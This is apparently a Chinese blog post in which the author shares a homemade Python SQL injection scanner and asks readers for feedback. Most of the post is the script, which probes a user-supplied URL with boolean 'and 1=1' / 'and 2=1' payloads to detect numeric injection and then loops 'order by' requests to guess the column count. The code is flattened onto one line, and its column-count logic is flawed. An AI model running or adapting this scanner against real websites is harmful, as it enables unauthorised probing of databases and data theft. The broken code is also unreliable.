前言:
总是想写一个sql注入脚本,但是之前的那些都不行。
这次做好了准备,然后嘿嘿嘿。
准备:
sql注入的基础知识
熟悉怎么判断
正文:
思路概念图:
这里我没有限制用户输入,不限制的话可能会 @&#@*#&@* = =
代码:
import requests from bs4 import BeautifulSoup import time import re import sys def user(): wailtfor=input('请输入你要进行sql注入测试的url:') print('------开启第一重验证------') url="{}".format(wailtfor) headers={'User-Agent': 'Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/65.0.3325.181 Safari/537.36'} request=requests.get(url=url,headers=headers,timeout=6) if request.status_code != 200: print('[-]抱歉该url十分的不稳定,退出程序中......') time.sleep(1) sys.exit() else: print('[+]第一重验证已经完成,目标是稳定的') journal=open('journal.txt','w',encoding='utf-8') journal.write('{}是稳定的\n'.format(url)) journal.write('下一步进行判断是否存在注入') journal.close() print('------开启第二重测试------') def ceshi(): pay1 = '%20and%201=1' pay2 = '%20and%202=1' Testinjection1 = request.url + pay1 Testinjection2=request.url+pay2 print('-------尝试数字型注入------') print(Testinjection1) print(Testinjection2) Testg=requests.get(Testinjection1,headers=headers) print(Testg.headers) Testg2=requests.get(Testinjection2,headers=headers) print(Testg2.headers) if Testg.text != Testg2.text: print('[+]数字型注入成功,用到的payload:{},{}'.format(pay1, pay2)) journal2 = open('journal.txt', 'a') journal2.write('数字型注入成功,用到的payload:{},{}'.format(pay1, pay2)) journal2.close() print('------开始猜字段数------') elif Testg.headers != Testg2.headers: print('[+]数字型注入成功,用到的payload:{},{}'.format(pay1,pay2),'可能存在注入点') journal2=open('journal.txt','a') journal2.write('数字型注入成功,用到的payload:{},{}'.format(pay1,pay2)) journal2.close() print('------开始猜字段数------') else: print('[-]数字型注入失败') print('[!]尝试字符型注入') sys.exit() a='ooo' for s in range(1,100): if a=='xxx':break orpay=url+'%20order%20by%20{}'.format(s) res=requests.get(orpay,headers=headers) ewe=res.content lk=re.finditer('mysql_fetch_array()',str(ewe)) for p in lk: print(str(p)) g='''<_sre.SRE_Match object; span=(232, 249), match='mysql_fetch_array'>''' if str(p) == g: print('字段数payload:', res.url) dw = int(res.url[-1:])-1 print(type(dw)) print('字段数长度为:', dw) a='xxx' else: print('字段数payload:',res.url) dw=int(res.url[-1:])-1 print('字段数长度为:',dw) a='xxx' ceshi() user()
测试结果如下:
代码还有很多不足,诺各位大佬有什么好的意见请多多留言。 = =
最后送上一首歌: